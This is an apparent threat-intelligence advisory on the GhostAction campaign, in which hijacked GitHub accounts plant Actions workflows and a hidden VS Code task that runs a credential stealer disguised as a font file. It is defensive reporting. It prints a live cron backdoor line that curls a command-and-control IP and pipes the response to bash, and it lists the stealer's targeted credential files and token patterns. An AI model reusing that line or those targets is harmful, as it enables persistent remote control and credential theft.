# GhostAction: Credential-Stealing Malware Hidden in Fake Font Files Across 94 GitHub Repositories

> The GhostAction campaign pushed malicious GitHub Actions workflows and, from 2026-10-14/15, a VS Code folderOpen task (eslint-check) that runs a Node.js stealer disguised as public/fonts/fa-solid-400.woff2 in 94 repositories across 66 owners (payload confirmed in all 79 analyzable repos). The stealer harvests SSH keys, cloud/registry tokens and Claude/Gemini credentials, exfiltrates over plain HTTP to 193.32.204.199:8080 and installs a 5-minute cron backdoor on Linux/macOS.

- **Published:** 2026-10-17T13:13:04Z
- **Last reviewed:** 2026-10-17T13:13:04Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-3805
- **ID:** TL-2026-3805
- **Severity:** HIGH
- **Category:** SUPPLY_CHAIN
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 20 (full data via the Threadlinqs MCP server — Purple tier)

## Description

OpenSourceMalware (Jenn Gile) reports a two-stage supply-chain campaign, tracked as GhostAction, that abuses compromised GitHub accounts rather than any software vulnerability (no CVE assigned). Access is most likely obtained through stolen personal access tokens or OAuth grants carrying repo and workflow scopes; a phishing kit targeting maintainers for silent OAuth app authorization (OAuth client ID Ov23ctrqCqZ79UaYKwyq, scopes repo/workflow/read:org) was documented on 2026-10-11, and the related domain my-github.com was registered 2026-10-09. The operator then scripts pushes under the owner's identity to every repository the account can write to, including dormant ones (median 792 days since last commit; 65 of 79 untouched for over a year).

Stage 1 (first pushed 2026-10-08 to 72 repositories between 13:03 and 22:41 UTC) is a malicious GitHub Actions workflow, initially security-audit.yml, that harvests repository secrets from the Actions environment, runs git log -p --all, greps for AWS (AKIA), Anthropic (sk-ant-), GitHub (ghp_), npm and PyPI token patterns, and POSTs the result to 193.32.204.199 (v1: port 80, marker c=new; v2 from 2026-10-12: port 8080 with date-stamped batch tags auto_20261013/14/15 and c=security). After public disclosure on 2026-10-09 and GitHub's blocking of workflow execution, the operator dropped the AKIA_CTX_START body marker and shifted weight to the developer workstation.

Stage 2 (three repos on 2026-10-14; 76 repos on 2026-10-15 between 01:00 and 10:31 UTC) has three components: a launcher in .vscode/tasks.json defining a task labeled eslint-check with runOn: folderOpen that executes node ./public/fonts/fa-solid-400.woff2 with a hidden presentation (reveal: never, hide: true, echo: false); a 38-line unobfuscated Node.js stealer masquerading as a Font Awesome woff2 file; and a cron persistence line (*/5 * * * * curl -s -m 10 http://193.32.204.199:8080/c2/$(hostname) | bash #ghc2) that fetches hostname-keyed commands every five minutes and survives deletion of the repository files. The stealer collects username, hostname, selected environment variables (AWS_, ANTHROPIC, OPENAI, HF_TOKEN, GITHUB_TOKEN, *_API_KEY, *_TOKEN), eight credential files truncated to 3,000 bytes (~/.aws/credentials, ~/.pypirc, ~/.npmrc, ~/.git-credentials, ~/.netrc, ~/.claude/.credentials.json, ~/.gemini/oauth_creds.json, ~/.kube/config), full SSH private keys (id_rsa, id_ed25519), and a recursive home-directory grep (10 s timeout) for token patterns. Data is POSTed in clear text to http://193.32.204.199:8080/?c=<tag> with a DEVBOX report header. VS Code only auto-runs such tasks in trusted workspaces with task.allowAutomaticTasks enabled (default off). On Windows the theft runs but cron persistence cannot install.

The operator adapts quickly: two owners who removed Stage 1 on 2026-10-09 were re-infected with Stage 2 on 2026-10-15, showing retained token access, and second-stage workflow filenames were rotated across lint.yml, ci-check.yml, build-check.yml, repo-health.yml, audit.yml, code-review.yml, test-suite.yml and cache-cleanup.yml. Stage 2 delivered without Stage 1 in at least one repo, so neither stage is a prerequisite.

Relationship to PolinRider: Stage 2 copies PolinRider's fake-font launcher structure (.vscode/tasks.json, eslint-check label, hidden presentation, woff2 file name pattern) but differs materially: plain readable code instead of obfuscation, hardcoded IP over HTTP instead of TRON/Aptos/BNB blockchain dead drops, and a different target set. OpenSourceMalware found no shared indicators establishing common operators, and describes GhostAction as copying PolinRider. One repository was found with both a GhostAction Stage 2 and an independent PolinRider infection. The name GhostAction is also used for an earlier 2025 GitHub Actions secret-theft campaign documented by GitGuardian and StepSecurity; this report relies on OpenSourceMalware's framing of the current activity as an expansion of that campaign and does not independently verify operator overlap. BeaconBeagle returned no record (HTTP 404) for 193.32.204.199 at the time of research.

## MITRE ATT&CK

- T1195.001 Compromise Software Dependencies and Development Tools
- T1078 Valid Accounts
- T1528 Steal Application Access Token
- T1059.007 JavaScript
- T1059.004 Unix Shell
- T1053.003 Cron
- T1036.008 Masquerade File Type
- T1564.003 Hidden Window
- T1552.001 Credentials In Files
- T1552.004 Private Keys
- T1082 System Information Discovery
- T1005 Data from Local System
- T1213.003 Code Repositories
- T1071.001 Web Protocols

## Sources

- [GhostAction Hackers Hide Credential-Stealing Malware in Fake Font Files Across 94 GitHub Repositories](https://gbhackers.com/ghostaction-hackers-hide-credential-stealing-malware/)
- [GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File](https://opensourcemalware.com/blog/ghostaction-copycats-polinrider-by-hiding-a-stealer-in-a-fake-font-file)
- [GhostAction Hackers Infect 94 GitHub Repositories With Fake Font Malware to Steal Credentials](https://cyberpress.org/ghostaction-hackers-infect-94-github-repositories/)
- [PolinRider Rides Again (OpenSourceMalware)](https://opensourcemalware.com/blog/polinrider-rides-again)
- [PolinRider Spreads Through Compromised GitHub Accounts and Packagist (Socket)](https://socket.dev/blog/polinrider-github-packagist)
- [GhostAction Campaign: 3,325 Secrets Stolen (GitGuardian, 2025 campaign of the same name)](https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/)
- [GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows (StepSecurity)](https://www.stepsecurity.io/blog/ghostaction-campaign-over-3-000-secrets-stolen-through-malicious-github-workflows)
- [Hijacked npm and Go Packages Use VS Code Tasks to Deploy Python Infostealer (The Hacker News)](https://thehackernews.com/2026/06/hijacked-npm-and-go-packages-use-vs.html)
- [Hijacked npm Packages Use Novel VSCode Autorun and Blockchain Dead Drops (JFrog Security Research)](https://research.jfrog.com/post/hijacked-npm-vscode-tasks-blockchain/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-3805
